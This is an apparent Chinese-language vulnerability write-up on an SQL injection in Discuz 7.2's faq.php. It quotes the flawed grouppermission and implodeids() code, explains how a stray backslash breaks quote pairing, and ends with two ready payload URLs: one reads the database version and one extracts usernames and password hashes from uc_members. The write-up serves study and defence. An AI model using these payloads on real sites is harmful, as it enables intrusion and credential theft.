標籤:串連 rmi action php 開始 關鍵字 div member bsp
漏洞發生在頁面faq.php中,源碼如下:
elseif($action == ‘grouppermission‘) {ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
這段話的意思是在首先針對數組$gids按照其關鍵字進行升序操作,然後取變數數組$gids中每個關鍵字的值的第一位$row[0]存到$groupids數組中,之後使用implodeids()函數產生一個字串帶入sql查詢語句中。
這裡每當我們輸入一個$gids參數時,都會預設進行轉義操作,即如果我們輸入單引號‘,那麼儲存的最終資料為\‘,但是他每次都會只取出數組中的第一位值,即此時的$row[0]=‘\’,這時會把\取出來放到$groupids數組中。
假設輸入單引號後的$gids數組的值是{‘1‘,‘\‘‘,‘3‘,‘4‘},然後我們取其第一位值放到$groupids數組中,此時$groupids={‘1‘,‘\‘,‘3‘,‘4‘}。
然後我們開始看implodeids()函數,在global.fanc.php檔案中
function implodeids($array) { if(!empty($array)) { return "‘".implode("‘,‘", is_array($array) ? $array : array($array))."‘"; } else { return ‘‘; }}
就是把數組各個數組使用‘,‘串連到一起。
那麼$groupids經過該函數之後就變為‘1‘,‘\‘,‘3‘,‘4‘;
此時就出現了問題,因為第四個單引號由於左邊右斜杠\的存在強行被轉義為單引號字元,不會再與第三個單引號閉合,此時第三個單引號將與第五個單引號形成閉合,3位置就會出現逃逸,此時構造3位置為payload即可形成注入。3處輸入右括弧與前面進行封閉,然後and+一個新的查詢語句即可。
此時payload可寫為:
http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select @@version)),1)%23
http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=‘&gids[81][0]=) and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from ucenter.uc_members)),1)%23
Discuz 7.2 faq.php漏洞分析